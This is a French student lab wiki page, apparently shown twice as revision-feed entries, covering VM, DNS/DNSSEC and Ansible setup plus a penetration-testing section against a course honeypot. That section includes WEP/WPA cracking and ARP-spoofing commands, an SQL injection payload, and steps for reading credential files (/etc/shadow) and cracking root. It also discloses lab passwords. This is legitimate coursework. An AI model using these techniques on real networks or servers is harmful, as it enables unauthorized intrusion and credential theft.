 zone &amp;quot;calicedelamort.site&amp;quot; IN {&lt;br /&gt;
     type master;&lt;br /&gt;
     file &amp;quot;/etc/bind/db.calicedelamort.site&amp;quot;;&lt;br /&gt;
     allow-transfer {217.70.177.40;};&lt;br /&gt;
 };&lt;br /&gt;
  &lt;br /&gt;
&lt;br /&gt;
Et enfin, dans /etc/bind/name.conf.options :&lt;br /&gt;
&lt;br /&gt;
 options {&lt;br /&gt;
     directory &amp;quot;/var/cache/bind&amp;quot;;&lt;br /&gt;
     dnssec-enable yes;&lt;br /&gt;
     dnssec-validation auto;&lt;br /&gt;
     listen-on-v6 { any; };&lt;br /&gt;
     allow-recursion { localhost; };&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
Pour finir, on se rend sur gandi.net et dans l'option Gluerecords on lie ns1.calicedelamort.site à l'adresse 193.48.57.180.&lt;br /&gt;
Puis, on ajoute dans serveurs de noms externes :&lt;br /&gt;
&lt;br /&gt;
 ns1.calicedelamort.site&lt;br /&gt;
 ns6.gandi.net&lt;br /&gt;
&lt;br /&gt;
===Sécurisation de site web par certificat===&lt;br /&gt;
&lt;br /&gt;
La première étape est de générer un certificat à l'aide de la commande suivante :&lt;br /&gt;
&lt;br /&gt;
  openssl req -nodes -newkey rsa:2048 -sha256 -keyout calicedelamort.site.key -out calicedelamort.site.csr&lt;br /&gt;
&lt;br /&gt;
Ensuite, on se rend sur gandi.net, et nous ajoutons le certificat généré à notre domaine calicedelamort.site. Ensuite, nous attendons d'obtenir le certificat signé sur le serveur de mail que nous avons installé sur notre VM.&lt;br /&gt;
&lt;br /&gt;
===Sécurisation de serveur DNS par DNSSEC===&lt;br /&gt;
&lt;br /&gt;
En premier lieu, nous devons activer le protocole DNSSEC dans le fichier de configuration de bind : /etc/bind/named.conf.local&lt;br /&gt;
&lt;br /&gt;
  dnssec-enable yes&lt;br /&gt;
&lt;br /&gt;
Ensuite, nous créons un dossier calicedelamort.site.dnssec/ puis nous y générons les clefs ZSK et KSK à l'aide des commandes suivantes :&lt;br /&gt;
&lt;br /&gt;
  dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE calicedelamort.site&lt;br /&gt;
&lt;br /&gt;
  dnssec-keygen -a RSASHA1 -b 1024 -n ZONE calicedelamort.site&lt;br /&gt;
&lt;br /&gt;
Puis, nous allons dans le fichier de configuration de notre site : /etc/bind/db.calicedelamort.site, et nous y ajoutons les deux lignes suivantes :&lt;br /&gt;
&lt;br /&gt;
  $include /etc/bind/calicedelamort.site.dnssec/calicedelamort.site-ksk.key&lt;br /&gt;
  $include /etc/bind/calicedelamort.site.dnssec/calicedelamort.site-zsk.key&lt;br /&gt;
&lt;br /&gt;
Enfin, nous signons le tout à l'aide de la commande :&lt;br /&gt;
&lt;br /&gt;
  dnssec-signzone -o calicedelamort.site -k calicedelamort.site-ksk ../db.calicedelamort.site calicedelamort.site-zsk &lt;br /&gt;
&lt;br /&gt;
Dans le fichier /etc/bind/named.conf.local, nous modifions la zone pour y mettre le fichier signé :&lt;br /&gt;
&lt;br /&gt;
  zone &amp;quot;calicedelamort.site&amp;quot; IN {&lt;br /&gt;
    type master;&lt;br /&gt;
    file &amp;quot;/etc/bind/db.calicedelamort.site.signed&amp;quot;;&lt;br /&gt;
    allow-transfer{217.70.177.40;};&lt;br /&gt;
  };&lt;br /&gt;
&lt;br /&gt;
Pour finir, nous relançons bind9 :&lt;br /&gt;
&lt;br /&gt;
  service bind9 restart&lt;br /&gt;
&lt;br /&gt;
==Tests d'intrusion== &lt;br /&gt;
&lt;br /&gt;
===Cassage de clef WEP d'un point d'accés Wifi===&lt;br /&gt;
&lt;br /&gt;
En premier lieu, on installe le paquetage aircrack-ng sur un PC.&lt;br /&gt;
&lt;br /&gt;
Ensuite, on utilise les commandes suivantes : &lt;br /&gt;
&lt;br /&gt;
  airmon-ng&lt;br /&gt;
Cette commande permet d'afficher les interfaces réseau&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Airmong.PNG|center]]&lt;br /&gt;
&lt;br /&gt;
  airmon-ng start &amp;lt;interface&amp;gt;&lt;br /&gt;
Pour passer l'interface en mode monitor&lt;br /&gt;
&lt;br /&gt;
  airodump-ng --encrypt wep 'nomInterface'&lt;br /&gt;
Pour afficher les réseaux wifi WEP&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Capture-wep-encrypt.PNG|center]]&lt;br /&gt;
&lt;br /&gt;
  airodump-ng --write 'nomFichier' --channel 3 -bssid '@mac_AP' 'nomInterface'&lt;br /&gt;
Pour capturer les paquets émis par le point d'accés ciblé&lt;br /&gt;
&lt;br /&gt;
  aircrack-ng -x 'nomFichier'-01.cap&lt;br /&gt;
Pour cracker la clef WEP (à condition d'avoir capturé assez de paquets)&lt;br /&gt;
&lt;br /&gt;
===Cassage de mot de passe WPA-PSK par force brute===&lt;br /&gt;
&lt;br /&gt;
Pour cette partie, nous utilisons aussi le paquetage aircrack-ng.&lt;br /&gt;
&lt;br /&gt;
On utilise les mêmes commandes que précédemment pour trouver les réseaux wifi utilisant WPA-PSK&lt;br /&gt;
&lt;br /&gt;
  airodump-ng --encrypt wpa-psk 'nomInterface'&lt;br /&gt;
&lt;br /&gt;
  airodump-ng --write 'nomFichier' --bssid '@mac_AP' -c 'numChannel' 'nomInterface'&lt;br /&gt;
&lt;br /&gt;
Une fois que l'on obtient le handshake de point d'accés, on peut essayer de cracker la clef WPA-PSK à l'aide de la commande aircrack-ng&lt;br /&gt;
&lt;br /&gt;
Cependant, il faut créer un dictionnaire de clef, dans le sujet, nous savons que la clef est composée de 8 chiffres, on crée donc un dictionnaire constitué de toutes les clef à 8 chiffres possible&lt;br /&gt;
Pour cela, on utilisa la commande :&lt;br /&gt;
  crunch 8 8 0123456789 &amp;gt; 'nomDuDico.txt'&lt;br /&gt;
&lt;br /&gt;
Maintenant, on peut essayer de cracker la clef à l'aide du dictionnaire :&lt;br /&gt;
&lt;br /&gt;
  aircrack-ng -a 2 -w 'nomDuDico.txt' 'nomFichier'-01.cap&lt;br /&gt;
&lt;br /&gt;
Au bout d'un certain temps, on obtient la clef WPA-PSK permettant de se connecter au point d'accés Wifi.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Crack_resultat_WPA.PNG|center]]&lt;br /&gt;
&lt;br /&gt;
Il est aussi possible de cracker la clef avec hashcat. Cela permet de d'utiliser la puissance du GPU pour brute force la clef. Grace à ma super carte graphique la 2080 super, nous avons pu diviser par 100 le temps du brute force.&lt;br /&gt;
&lt;br /&gt;
La commande est la suivante:&lt;br /&gt;
  crunch 8 8 0123456789 | hashcat -m 2500 output.hccapx&lt;br /&gt;
&lt;br /&gt;
===Man In The Middle===&lt;br /&gt;
(Homme du milieu en anglais)&lt;br /&gt;
&lt;br /&gt;
D'abord, sur le eeePC, on modifie le fichier /proc/sys/net/ipv4/ip_forward :&lt;br /&gt;
&lt;br /&gt;
   echo 1 &amp;gt; /proc/sys/net/ipv4/ip_forward&lt;br /&gt;
&lt;br /&gt;
Ensuite on utilise la commande du paquet dsniff :&lt;br /&gt;
&lt;br /&gt;
  arpspoof -i eth0 -t 172.26.145.254 172.26.145.58&lt;br /&gt;
  arpspoof -i eth0 -t 172.26.145.58 172.26.145.254&lt;br /&gt;
&lt;br /&gt;
Enfin, on utilise wireshark pour observer les paquets.&lt;br /&gt;
Pour tester l'attaque MiTM, nous avons essayer de nous connecter à un site utilisant un protocole http.&lt;br /&gt;
&lt;br /&gt;
Sur wireshark, nous avons pu voir, en clair, les identifiants de connexion ainsi que le mot de passe saisi par l'utilisateur.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Wiresharck.jpg|center|400px]]&lt;br /&gt;
&lt;br /&gt;
===Intrusion sur un serveur d'application Web===&lt;br /&gt;
&lt;br /&gt;
Pour cette partie, on se rend sur le lien http://honey.plil.info.&lt;br /&gt;
Nous y trouvons une page de connexion demandant un login et un password.&lt;br /&gt;
&lt;br /&gt;
N'ayant pas de compte sur ce site, on essaye une simple injection SQL :&lt;br /&gt;
Dans les champs 'login' et 'password' on écrit l'injection SQL suivante : &amp;quot; ' OR 1 = 1 -- &amp;quot;&lt;br /&gt;
Ca fonctionne ! Nous avons accès aux informations de connexion des utilisateurs&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Grâce aux informations trouvées à l'aide de l'injection SQL nous pouvons nous connecter en tant qu'administrateur.&lt;br /&gt;
En explorant un peu le site, nous trouvons une fonctionnalité qui permet d'importer des fichiers sur la page web et de les télécharger.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Ajoutmanuel.png|center]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
En parallèle de cela, à l'aide de la commande&lt;br /&gt;
  dirb http://honey.plil.info/&lt;br /&gt;
On trouve une page phpmyadmin : http://honey.plil.info/phpmyadmin&lt;br /&gt;
&lt;br /&gt;
[[Fichier:phpmyadmin.png|center]]&lt;br /&gt;
&lt;br /&gt;
Encore une page de connexion, il faut donc trouver le login et le password permettant de se connecter à cette page. Cette fois, les injections SQL ne fonctionne pas.&lt;br /&gt;
&lt;br /&gt;
Cependant, nous avons vu plus tôt que nous pouvions importer et télécharger des fichiers depuis la page web précédente, et en effectuant quelques tests, nous nous sommes rendu compte que ces fichiers provenaient du serveur qui hébergeait le site web.&lt;br /&gt;
&lt;br /&gt;
En regardant sur internet, nous avons trouvé que le fichier contenant les logins et mot de passes de connexion à la page phpmyadmin se trouvaient dans /etc/phpmyadmin/config-db.php&lt;br /&gt;
&lt;br /&gt;
Nous uploadons et téléchargeons ce fichier depuis la page web :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Config_dbphp.png|center]]&lt;br /&gt;
&lt;br /&gt;
Nous avons maintenant accès à la page de gestion de la base de données du serveur.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Maintenant que l'on sait que l'on peut télécharger des fichiers depuis le serveur, on décide de télécharger le fichier /etc/passwd :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Passwd.PNG|center]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On trouve l'utilisateur 'rex' sur lequel on pourrait tenter de se connecter en ssh. Nous essayons, cependant, il nous faut le mot de passe de cet utilisateur. Explorons donc phpmyadmin en s'y connectant en tant que root.&lt;br /&gt;
&lt;br /&gt;
En cherchant bien, on trouve un fichiers 'users' (dans la structure 'test') dans lequel apparait le mot de passe de l'utilisateur 'rex' en clair.&lt;br /&gt;
&lt;br /&gt;
On se connecte donc en ssh sur cet utilisateur.&lt;br /&gt;
  ssh rex@honey.plil.info&lt;br /&gt;
&lt;br /&gt;
La dernière étape est donc de récupérer le mot de passe root du serveur. Or, on sait que celui-ci se trouve dans le fichier /etc/shadow , fichier qui est, bien entendu, accessible depuis l'utilisateur 'rex'.&lt;br /&gt;
&lt;br /&gt;
Une fois ce fichier récupéré, il ne nous reste plus qu'à brute force le mot de passe root.&lt;br /&gt;
&lt;br /&gt;
On utilise le programme 'John The Ripper', cependant, il nous faut un dictionnaire pour aider John The Riper.&lt;br /&gt;
On sait que le mot de passe root à la même particularité que les mots de passes des machines de TPs. On crée donc un dictionnaire en fonction de cette information à l'aide de la commande 'crunch'.&lt;br /&gt;
&lt;br /&gt;
On peut finalement lancer John The Riper avec le dictionnaire, on trouve le mot de passe, et on peut enfin se connecter en tant qu'utilisateur root sur le serveur.&lt;br /&gt;
&lt;br /&gt;
==Réalisation==&lt;br /&gt;
&lt;br /&gt;
===Sécurisation de données===&lt;br /&gt;
Nous avons dans un premier temps créé 3 partitions virtuelles:&lt;br /&gt;
&lt;br /&gt;
 lvcreate -L1G -n calicedelamort-raid1 storage&lt;br /&gt;
 lvcreate -L1G -n calicedelamort-raid2 storage&lt;br /&gt;
 lvcreate -L1G -n calicedelamort-raid3 storage&lt;br /&gt;
&lt;br /&gt;
Ensuite, nous les avons ajoutées dans notre fichier: /etc/xen/Calicedelamort.cfg&lt;br /&gt;
&lt;br /&gt;
 disk        = [&lt;br /&gt;
                  'file:/usr/local/xen/domains/Calicedelamort/disk.img,xvda2,w',&lt;br /&gt;
                  'file:/usr/local/xen/domains/Calicedelamort/swap.img,xvda1,w',&lt;br /&gt;
                  'phy:/dev/storage/PaulTanguy1,xvda3,w',&lt;br /&gt;
                  'phy:/dev/storage/PaulTanguy2,xvda4,w',&lt;br /&gt;
                  'phy:/dev/storage/calicedelamort-raid1,xvda5,w',&lt;br /&gt;
                  'phy:/dev/storage/calicedelamort-raid2,xvda6,w',&lt;br /&gt;
                  'phy:/dev/storage/calicedelamort-raid3,xvda7,w',&lt;br /&gt;
              ]&lt;br /&gt;
&lt;br /&gt;
il faut ensuite redémarrer notre VM:&lt;br /&gt;
&lt;br /&gt;
 xl destroy Calicedelamort&lt;br /&gt;
 xl create /etc/xen/Calicedelamort.cfg&lt;br /&gt;
&lt;br /&gt;
==TP ASR==&lt;br /&gt;
&lt;br /&gt;
===Ajout d'une seconde interface réseau sur la VM===&lt;br /&gt;
&lt;br /&gt;
On se connecte sur capbreton&lt;br /&gt;
  ssh root@capbreton&lt;br /&gt;
&lt;br /&gt;
Et on modifie le fichier de configuration de notre VM (Calicedelamort.cfg) en y ajoutant une deuxième interfaces dans la ligne 'vif'&lt;br /&gt;
&lt;br /&gt;
  nano /etc/xen/Calicedelamort.cfg&lt;br /&gt;
  &lt;br /&gt;
  vif         = [ 'bridge=IMA5sc, ip=100.64.0.20, mac=00:16:3E:DC:81:A8', 'bridge=bridgeStudents, ip=192.168.42.9 ,mac=00:16:3E:DC:81:A9' ]&lt;br /&gt;
&lt;br /&gt;
Ensuite, on relance la VM et on modifie le fichier dans /etc/network/interfaces pour y ajouter l'interface réseau eth1 avec la bonne adresse IP&lt;br /&gt;
&lt;br /&gt;
  auto eth1&lt;br /&gt;
  iface eth1 inet static&lt;br /&gt;
    address 192.168.42.9&lt;br /&gt;
    netmask 255.255.255.0&lt;br /&gt;
&lt;br /&gt;
Pour finir on réalise une masquarade à l'aide de la commande iptables&lt;br /&gt;
&lt;br /&gt;
   iptables -t nat -A POSTROUTING -p tcp -o eth0 -j SNAT --to-source 193.48.57.180 -s 192.168.42.23&lt;br /&gt;
&lt;br /&gt;
===Ansible===&lt;br /&gt;
&lt;br /&gt;
Premièrement, on installe ansible sur notre VM sur capbreton&lt;br /&gt;
&lt;br /&gt;
  apt install ansible&lt;br /&gt;
&lt;br /&gt;
Ensuite, on génère les clefs ssh avec la commande&lt;br /&gt;
&lt;br /&gt;
  ssh-keygen -t rsa&lt;br /&gt;
&lt;br /&gt;
Puis, on installe la clef publique sur les Vms cibles&lt;br /&gt;
&lt;br /&gt;
  cat .ssh/id_rsa.pub | ssh root@192.168.42.9 &amp;quot;cat &amp;gt;&amp;gt; /root/.ssh/authorized_keys2&amp;quot; (installation sur notre VM chassiron)&lt;br /&gt;
&lt;br /&gt;
On crée ensuite un inventaire : /etc/ansible/hosts&lt;br /&gt;
&lt;br /&gt;
  [Me_Chassiron]&lt;br /&gt;
  calicedelamort ansible_host=192.168.42.9&lt;br /&gt;
  [All_Chassiron]&lt;br /&gt;
  calicedelamort ansible_host=192.168.42.9&lt;br /&gt;
  truffe ansible_host=192.168.42.12&lt;br /&gt;
  girolle ansible_host=192.168.42.7&lt;br /&gt;
  amanite ansible_host=192.168.42.5&lt;br /&gt;
  tricholome ansible_host=192.168.42.4&lt;br /&gt;
  ophiocordyceps ansible_host=192.168.42.2&lt;br /&gt;
&lt;br /&gt;
Une fois ces étapes réalisées, nous créons un premier rôle ansible qui va venir modifier le fichier /etc/motd de notre VM sur chassiron, ainsi qu'installer les paquetages NTP et copier les fichiers de configuration NTP de notre VM sur capbreton.&lt;br /&gt;
&lt;br /&gt;
 - name: Modification de /etc/motd&lt;br /&gt;
   copy:&lt;br /&gt;
      src: &amp;quot;../files/modif_motd&amp;quot;&lt;br /&gt;
      dest: &amp;quot;/etc/motd&amp;quot;&lt;br /&gt;
      owner: root&lt;br /&gt;
      group: root&lt;br /&gt;
      mode: '0644'&lt;br /&gt;
&lt;br /&gt;
 - name: Installation de ntp&lt;br /&gt;
   apt:&lt;br /&gt;
    name: ntp&lt;br /&gt;
    state: latest&lt;br /&gt;
&lt;br /&gt;
 - name: Copie de ntp conf&lt;br /&gt;
   copy:&lt;br /&gt;
      src: &amp;quot;../files/ntp.conf&amp;quot;&lt;br /&gt;
      dest: &amp;quot;/etc/ntp.conf&amp;quot;&lt;br /&gt;
      owner: root&lt;br /&gt;
      group: root&lt;br /&gt;
      mode: '0644'&lt;br /&gt;
&lt;br /&gt;
===Docker===&lt;/div&gt;</summary>
		<author><name>Tvieuble</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2020/2021_G9&amp;diff=55139</id>
		<title>TP sysres IMA5sc 2020/2021 G9</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2020/2021_G9&amp;diff=55139"/>
				<updated>2020-12-21T17:46:48Z</updated>
		
		<summary type="html">&lt;p&gt;Tvieuble : /* Ansible */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;  &lt;br /&gt;
==Création de la VM==&lt;br /&gt;
&lt;br /&gt;
  root@capbreton:~# xen-create-image --hostname=Calicedelamort --ip=100.64.0.20 --netmask=255.255.255.240 --password=pasglop --dir=/usr/local/xen --dist=buster --gateway=100.64.0.5&lt;br /&gt;
&lt;br /&gt;
  --- Logical volume ---&lt;br /&gt;
  LV Path                /dev/storage/PaulTanguy1&lt;br /&gt;
  LV Name                PaulTanguy1&lt;br /&gt;
  VG Name                storage&lt;br /&gt;
  LV UUID                Mk2sRM-HJvO-Ul2V-7z4A-WYDR-w2Rs-woO4FD&lt;br /&gt;
  LV Write Access        read/write&lt;br /&gt;
  LV Creation host, time capbreton, 2020-10-12 17:02:07 +0100&lt;br /&gt;
  LV Status              available&lt;br /&gt;
  # open                 0&lt;br /&gt;
  LV Size                10.00 GiB&lt;br /&gt;
  Current LE             2560&lt;br /&gt;
  Segments               1&lt;br /&gt;
  Allocation             inherit&lt;br /&gt;
  Read ahead sectors     auto&lt;br /&gt;
  - currently set to     256&lt;br /&gt;
  Block device           254:24&lt;br /&gt;
   &lt;br /&gt;
  --- Logical volume ---&lt;br /&gt;
  LV Path                /dev/storage/PaulTanguy2&lt;br /&gt;
  LV Name                PaulTanguy2&lt;br /&gt;
  VG Name                storage&lt;br /&gt;
  LV UUID                zWVz4u-2u2T-Fd1T-7W5X-G4Fg-M8dO-bEwuEt&lt;br /&gt;
  LV Write Access        read/write&lt;br /&gt;
  LV Creation host, time capbreton, 2020-10-12 17:02:11 +0100&lt;br /&gt;
  LV Status              available&lt;br /&gt;
  # open                 0&lt;br /&gt;
  LV Size                10.00 GiB&lt;br /&gt;
  Current LE             2560&lt;br /&gt;
  Segments               1&lt;br /&gt;
  Allocation             inherit&lt;br /&gt;
  Read ahead sectors     auto&lt;br /&gt;
  - currently set to     256&lt;br /&gt;
  Block device           254:25&lt;br /&gt;
&lt;br /&gt;
==Services Internet==&lt;br /&gt;
&lt;br /&gt;
===Serveur SSH===&lt;br /&gt;
&lt;br /&gt;
On installe simplement un serveur SSH sur la VM.&lt;br /&gt;
On modifie le fichier /etc/ssh/sshd_config pour autoriser la connexion en tant que root.&lt;br /&gt;
On peut s'y connecter à distance avec la commande suivante :&lt;br /&gt;
&lt;br /&gt;
  ssh root@ns1.calicedelamort.site&lt;br /&gt;
&lt;br /&gt;
(avec le même mot de passe (pifou) que les machines de TPs)&lt;br /&gt;
&lt;br /&gt;
===Serveur DNS===&lt;br /&gt;
&lt;br /&gt;
Dans un premier temps, on loue un nom de domaine sur gandi.net.&lt;br /&gt;
Notre nom de domaine est calicedelamort.site&lt;br /&gt;
&lt;br /&gt;
Ensuite, on installe sur la VM, le paquetage bind9&lt;br /&gt;
&lt;br /&gt;
Une fois ce paquetage installé, on modifie les fichiers de configuration.&lt;br /&gt;
&lt;br /&gt;
Dans /etc/bind/db.calicedelamort.site&lt;br /&gt;
&lt;br /&gt;
 ;BIND data file for local loopback interface&lt;br /&gt;
 ;&lt;br /&gt;
 $TTL    604800&lt;br /&gt;
 @       IN      SOA     ns1.calicedelamort.site. postmaster.calicedelamort.site. (&lt;br /&gt;
                              3         ; Serial&lt;br /&gt;
                         604800         ; Refresh&lt;br /&gt;
                          86400         ; Retry&lt;br /&gt;
                        2419200         ; Expire&lt;br /&gt;
                         604800 )       ; Negative Cache TTL&lt;br /&gt;
 ;&lt;br /&gt;
 @       IN      NS      ns1.calicedelamort.site.&lt;br /&gt;
 @       IN      NS      ns6.gandi.net.&lt;br /&gt;
 @	IN	MX	100	ns1&lt;br /&gt;
 ns1     IN      A       193.48.57.180&lt;br /&gt;
&lt;br /&gt;
Ensuite, dans /etc/bind/named.conf.local&lt;br /&gt;
&lt;br /&gt;
 zone &amp;quot;calicedelamort.site&amp;quot; IN {&lt;br /&gt;
     type master;&lt;br /&gt;
     file &amp;quot;/etc/bind/db.calicedelamort.site&amp;quot;;&lt;br /&gt;
     allow-transfer {217.70.177.40;};&lt;br /&gt;
 };&lt;br /&gt;
  &lt;br /&gt;
&lt;br /&gt;
Et enfin, dans /etc/bind/name.conf.options :&lt;br /&gt;
&lt;br /&gt;
 options {&lt;br /&gt;
     directory &amp;quot;/var/cache/bind&amp;quot;;&lt;br /&gt;
     dnssec-enable yes;&lt;br /&gt;
     dnssec-validation auto;&lt;br /&gt;
     listen-on-v6 { any; };&lt;br /&gt;
     allow-recursion { localhost; };&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
Pour finir, on se rend sur gandi.net et dans l'option Gluerecords on lie ns1.calicedelamort.site à l'adresse 193.48.57.180.&lt;br /&gt;
Puis, on ajoute dans serveurs de noms externes :&lt;br /&gt;
&lt;br /&gt;
 ns1.calicedelamort.site&lt;br /&gt;
 ns6.gandi.net&lt;br /&gt;
&lt;br /&gt;
===Sécurisation de site web par certificat===&lt;br /&gt;
&lt;br /&gt;
La première étape est de générer un certificat à l'aide de la commande suivante :&lt;br /&gt;
&lt;br /&gt;
  openssl req -nodes -newkey rsa:2048 -sha256 -keyout calicedelamort.site.key -out calicedelamort.site.csr&lt;br /&gt;
&lt;br /&gt;
Ensuite, on se rend sur gandi.net, et nous ajoutons le certificat généré à notre domaine calicedelamort.site. Ensuite, nous attendons d'obtenir le certificat signé sur le serveur de mail que nous avons installé sur notre VM.&lt;br /&gt;
&lt;br /&gt;
===Sécurisation de serveur DNS par DNSSEC===&lt;br /&gt;
&lt;br /&gt;
En premier lieu, nous devons activer le protocole DNSSEC dans le fichier de configuration de bind : /etc/bind/named.conf.local&lt;br /&gt;
&lt;br /&gt;
  dnssec-enable yes&lt;br /&gt;
&lt;br /&gt;
Ensuite, nous créons un dossier calicedelamort.site.dnssec/ puis nous y générons les clefs ZSK et KSK à l'aide des commandes suivantes :&lt;br /&gt;
&lt;br /&gt;
  dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE calicedelamort.site&lt;br /&gt;
&lt;br /&gt;
  dnssec-keygen -a RSASHA1 -b 1024 -n ZONE calicedelamort.site&lt;br /&gt;
&lt;br /&gt;
Puis, nous allons dans le fichier de configuration de notre site : /etc/bind/db.calicedelamort.site, et nous y ajoutons les deux lignes suivantes :&lt;br /&gt;
&lt;br /&gt;
  $include /etc/bind/calicedelamort.site.dnssec/calicedelamort.site-ksk.key&lt;br /&gt;
  $include /etc/bind/calicedelamort.site.dnssec/calicedelamort.site-zsk.key&lt;br /&gt;
&lt;br /&gt;
Enfin, nous signons le tout à l'aide de la commande :&lt;br /&gt;
&lt;br /&gt;
  dnssec-signzone -o calicedelamort.site -k calicedelamort.site-ksk ../db.calicedelamort.site calicedelamort.site-zsk &lt;br /&gt;
&lt;br /&gt;
Dans le fichier /etc/bind/named.conf.local, nous modifions la zone pour y mettre le fichier signé :&lt;br /&gt;
&lt;br /&gt;
  zone &amp;quot;calicedelamort.site&amp;quot; IN {&lt;br /&gt;
    type master;&lt;br /&gt;
    file &amp;quot;/etc/bind/db.calicedelamort.site.signed&amp;quot;;&lt;br /&gt;
    allow-transfer{217.70.177.40;};&lt;br /&gt;
  };&lt;br /&gt;
&lt;br /&gt;
Pour finir, nous relançons bind9 :&lt;br /&gt;
&lt;br /&gt;
  service bind9 restart&lt;br /&gt;
&lt;br /&gt;
==Tests d'intrusion== &lt;br /&gt;
&lt;br /&gt;
===Cassage de clef WEP d'un point d'accés Wifi===&lt;br /&gt;
&lt;br /&gt;
En premier lieu, on installe le paquetage aircrack-ng sur un PC.&lt;br /&gt;
&lt;br /&gt;
Ensuite, on utilise les commandes suivantes : &lt;br /&gt;
&lt;br /&gt;
  airmon-ng&lt;br /&gt;
Cette commande permet d'afficher les interfaces réseau&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Airmong.PNG|center]]&lt;br /&gt;
&lt;br /&gt;
  airmon-ng start &amp;lt;interface&amp;gt;&lt;br /&gt;
Pour passer l'interface en mode monitor&lt;br /&gt;
&lt;br /&gt;
  airodump-ng --encrypt wep 'nomInterface'&lt;br /&gt;
Pour afficher les réseaux wifi WEP&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Capture-wep-encrypt.PNG|center]]&lt;br /&gt;
&lt;br /&gt;
  airodump-ng --write 'nomFichier' --channel 3 -bssid '@mac_AP' 'nomInterface'&lt;br /&gt;
Pour capturer les paquets émis par le point d'accés ciblé&lt;br /&gt;
&lt;br /&gt;
  aircrack-ng -x 'nomFichier'-01.cap&lt;br /&gt;
Pour cracker la clef WEP (à condition d'avoir capturé assez de paquets)&lt;br /&gt;
&lt;br /&gt;
===Cassage de mot de passe WPA-PSK par force brute===&lt;br /&gt;
&lt;br /&gt;
Pour cette partie, nous utilisons aussi le paquetage aircrack-ng.&lt;br /&gt;
&lt;br /&gt;
On utilise les mêmes commandes que précédemment pour trouver les réseaux wifi utilisant WPA-PSK&lt;br /&gt;
&lt;br /&gt;
  airodump-ng --encrypt wpa-psk 'nomInterface'&lt;br /&gt;
&lt;br /&gt;
  airodump-ng --write 'nomFichier' --bssid '@mac_AP' -c 'numChannel' 'nomInterface'&lt;br /&gt;
&lt;br /&gt;
Une fois que l'on obtient le handshake de point d'accés, on peut essayer de cracker la clef WPA-PSK à l'aide de la commande aircrack-ng&lt;br /&gt;
&lt;br /&gt;
Cependant, il faut créer un dictionnaire de clef, dans le sujet, nous savons que la clef est composée de 8 chiffres, on crée donc un dictionnaire constitué de toutes les clef à 8 chiffres possible&lt;br /&gt;
Pour cela, on utilisa la commande :&lt;br /&gt;
  crunch 8 8 0123456789 &amp;gt; 'nomDuDico.txt'&lt;br /&gt;
&lt;br /&gt;
Maintenant, on peut essayer de cracker la clef à l'aide du dictionnaire :&lt;br /&gt;
&lt;br /&gt;
  aircrack-ng -a 2 -w 'nomDuDico.txt' 'nomFichier'-01.cap&lt;br /&gt;
&lt;br /&gt;
Au bout d'un certain temps, on obtient la clef WPA-PSK permettant de se connecter au point d'accés Wifi.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Crack_resultat_WPA.PNG|center]]&lt;br /&gt;
&lt;br /&gt;
Il est aussi possible de cracker la clef avec hashcat. Cela permet de d'utiliser la puissance du GPU pour brute force la clef. Grace à ma super carte graphique la 2080 super, nous avons pu diviser par 100 le temps du brute force.&lt;br /&gt;
&lt;br /&gt;
La commande est la suivante:&lt;br /&gt;
  crunch 8 8 0123456789 | hashcat -m 2500 output.hccapx&lt;br /&gt;
&lt;br /&gt;
===Man In The Middle===&lt;br /&gt;
(Homme du milieu en anglais)&lt;br /&gt;
&lt;br /&gt;
D'abord, sur le eeePC, on modifie le fichier /proc/sys/net/ipv4/ip_forward :&lt;br /&gt;
&lt;br /&gt;
   echo 1 &amp;gt; /proc/sys/net/ipv4/ip_forward&lt;br /&gt;
&lt;br /&gt;
Ensuite on utilise la commande du paquet dsniff :&lt;br /&gt;
&lt;br /&gt;
  arpspoof -i eth0 -t 172.26.145.254 172.26.145.58&lt;br /&gt;
  arpspoof -i eth0 -t 172.26.145.58 172.26.145.254&lt;br /&gt;
&lt;br /&gt;
Enfin, on utilise wireshark pour observer les paquets.&lt;br /&gt;
Pour tester l'attaque MiTM, nous avons essayer de nous connecter à un site utilisant un protocole http.&lt;br /&gt;
&lt;br /&gt;
Sur wireshark, nous avons pu voir, en clair, les identifiants de connexion ainsi que le mot de passe saisi par l'utilisateur.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Wiresharck.jpg|center|400px]]&lt;br /&gt;
&lt;br /&gt;
===Intrusion sur un serveur d'application Web===&lt;br /&gt;
&lt;br /&gt;
Pour cette partie, on se rend sur le lien http://honey.plil.info.&lt;br /&gt;
Nous y trouvons une page de connexion demandant un login et un password.&lt;br /&gt;
&lt;br /&gt;
N'ayant pas de compte sur ce site, on essaye une simple injection SQL :&lt;br /&gt;
Dans les champs 'login' et 'password' on écrit l'injection SQL suivante : &amp;quot; ' OR 1 = 1 -- &amp;quot;&lt;br /&gt;
Ca fonctionne ! Nous avons accès aux informations de connexion des utilisateurs&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Grâce aux informations trouvées à l'aide de l'injection SQL nous pouvons nous connecter en tant qu'administrateur.&lt;br /&gt;
En explorant un peu le site, nous trouvons une fonctionnalité qui permet d'importer des fichiers sur la page web et de les télécharger.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Ajoutmanuel.png|center]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
En parallèle de cela, à l'aide de la commande&lt;br /&gt;
  dirb http://honey.plil.info/&lt;br /&gt;
